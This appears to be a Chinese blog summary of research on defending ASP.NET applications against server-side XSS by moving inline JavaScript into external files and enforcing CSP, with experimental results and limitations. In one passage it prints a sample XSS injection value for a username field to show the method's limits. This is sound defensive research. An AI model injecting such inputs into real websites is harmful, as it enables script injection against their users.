这项分离技术也有一些局限性,比如不能应用于混淆、加密后的代码,只针对服务端XSS漏洞,对于基于DOM的XSS漏洞完全无效。所以这项技术对于XSS漏洞来说并不是万灵药,在与CSP策略结合后只解决大部分XSS的问题,减轻了开发人员的工作量,如果想要完全防御XSS漏洞,只需针对动态产生的JS代码和DOM-XSS做过滤和检测。

以ASP.NET网页表单页面为例。

1

图一: 简单的ASP.NET代码

首先需要确定应用程序是如何输出内容到页面:

<%%>之前的内容会直接输出到HTML页面,并且他们都是C#代码。

<%=代表这个C#代码是变量,在程序运行时其内容会被决定,并输出到HTML页面。

从图一中可以看出,第二行定义的是常量,第三行定义的是变量,在第七行username这个变量就被输出到HTML中,作为内联JS脚本执行。

2

图二:被C#编译器编译后的图一中代码。

在经过C#编译后的代码中,Write函数代替了<%%>标签作为输出函数,可以将内容写到页面当中。而var username代替了<%=标记,通过第八行的Wirit(this.username)将变量内容输出到页面当中。

在第一个阶段有两个关键步骤。第一个是确定将要输出到页面的内容。第二个是确定输出函数被调用的顺序。

我们使用points-to分析算法静态分析源代码来解决这个问题。简单的说points-to算法可以确定指针与变量地址的对应关系,最初被应用于C代码的静态分析当中。这个算法可以确定变量内存储的是常量字符串还是变量。通过它就可以判断Write函数将要输出的内容是常量还是变量,也就确定了那些地方是我们需要分离的数据。

为了确定Write函数被调用的顺序,我们使用了标准的控制流程图,可以准确确定函数调用顺序。这个控制流程图是一个无回路有向图(DAG),任何从根节点出发的叶子节点都代表一个可能的页面输出。

3

图三:程序控制流程图

图中每个实线圈出的节点都是直接输出常量到页面中,虚线圈出的节点是变量输出到节点,该节点值由程序动态决定。

在第二个阶段,我们使用之前生成的有向图精确地分离内联Javascript代码。从根节点出发到达的每个叶子节点都代表一个潜在的页面输出。我们使用一个递归算法递归全部的路径,对每个输出字符串进行识别,从而分离出Javascript代码。在这个过程中可能产生路径爆炸问题,因为即使一些很简单的代码也可能产生大量的逻辑路径,导致遍历失败。我们通过两种方法解决这个问题,第一个就是忽略注释代码。第二个是在每一对Javascript标记中处理不同路径,减少一次性处理的范围。当全部的内联Javascript代码都被识别之后,我们将结果传入下一个阶段——代码重写。

第三个阶段将全部内联Javascript代码与HTML代码分离,将他们存入外部Javascript文件中。原来写Javascript代码的地方被替换为<script src=”External.js”></script>这种形式。程序依照以下流程来重写应用:首先检查Wirte函数中要输出的内容,如果包含Javascript的开始标记,就使用SESSION标记指明这个地方含有内联Javascript代码,重写功能就会先移除这个Javascript标记然后将JS代码内容存入Session缓冲区,并且保持SESSION标记是唯一的,当程序读取到JS结束标记后,删除这个标记,一个内联JS就完整的与代码分离了。之后这个过程一直重复,直到内联JS代码全部被存入Session缓冲区为。最后对每个session缓冲区区hash值,作为外部JS文件名称,以便程序调用。

4

图四:重写之后的代码。

执行完这些步骤我们已经可以完全分离了内联JS脚本,如果其中的脚本仅仅是静态产生的JS脚本,那么网站在应用CSP后就可以完全防御XSS攻击的威胁。但是内联JS脚本中还有动态产生的脚本,将这些脚本仅仅分离到外部JS文件不能防御XSS攻击。比如针对图一中的代码。如果输入username=””;alert(‘xss’)//;那么最终在浏览器执行的脚本会是<script> var username=””;alert(‘xss’)//”;></script>,依然产生跨站威胁。这种跨站威胁应用我们的处理流程是不能完全根除的,因为这是服务端跨站漏洞。但是我们为了减轻动态脚本产生XSS漏洞的可能性,采取了两个处理方法。第一个方法是标记并记录动态脚本,方便人工评估动态产生的脚本是否包含漏洞。第二个方法是定制相应的过滤方法,对动态输出的内容进行转义、过滤。这两个方法只能减轻动态JS脚本产生XSS漏洞的可能性,但不能完全杜绝,这也就是为什么本文主要针对服务端XSS漏洞。

四、评估与实验

实验主要评估该方法的三个方面,第一个是抵御XSS攻击的效果,第二个是重写后的应用源代码是否会产生异常,第三个是重写应用代码对应用性能的影响。

实验选取了以下应用作为实验对象:

5

图五:选取的实验对象。

实验对象选取的条件主要是以下三点:

1、 应用程序开源。

2、 应用包含已知的XSS漏洞。

3、 应用代码没有经过混淆、加密。

因为ASP.NET开源项目很少,所以最后满足条件的项目只有这6个。这些项目有MVC框架的也有非MVC框架,并包含一定量的代码行数(LOC),满足我们的实验条件。

五、    实验结果:

当内联JS代码分离完成及应用了CSP策略后,我们手工的使用EXP对网站进行攻击,原始应用都产生了漏洞,但经过流程处理后的应用都防御了攻击。为了检测处理后的网站时候会产生错误,我们采取手工测试的方法,对每个页面的功能进行检测,最后发现没有任何错误产生。在图六中我们可以看到不同应用的JS分布。安全动态JS指程序识别出动态生成的JS输出内容并进行清理转义,已经安全。不安全的动态JS是我们不能正确识别的,仅进行记录并分离到外部JS文件中。图中(4)标记代表在ASP.NET框架编译程序时会自动产生4个JS脚本,这是我们不可控的元素,不作考虑。最后我们测试了应用性能,结果显示内联JS代码分离可根据内联JS代码使用数量的多少,适当减小页面代码,加速页面加载速度。对于内联JS使用较少的页面会产生反效果,但是不会产生较大影响。

6

图六:内联JS分离完成后的文件分布。

7

图七:内联JS分离完成后页面大小及响应时间对比。

六、总结与不足:

这项技术主要通过结合CSP策略来防御XSS攻击,根据我们的实验结果,该项技术已经达到一定的实际应用水平,可以抵御服务端XSS攻击并且不影响程序的执行结果和网站效率。

这项分离技术也存在一些局限性,比如不能应用于混淆、加密后的代码,只针对服务端XSS漏洞,对于基于DOM的XSS漏洞完全无效。虽然这个方法已经基本可以应用到实际场景当中,但是程序获得内联JS的方法还需要持续改进。目前对于复杂的框架模板比如PHP经常使用的框架Thinkphp,不修改原有程序就识别内联JS脚本存在困难。但是只要解决了输出是如何被应用创建的,和怎样重写应用这两个问题,那么这项技术就可以应用于该框架。对于不同的框架需要不同的定制,对框架通用性较差。



admin 发布于  2014-12-16 13:24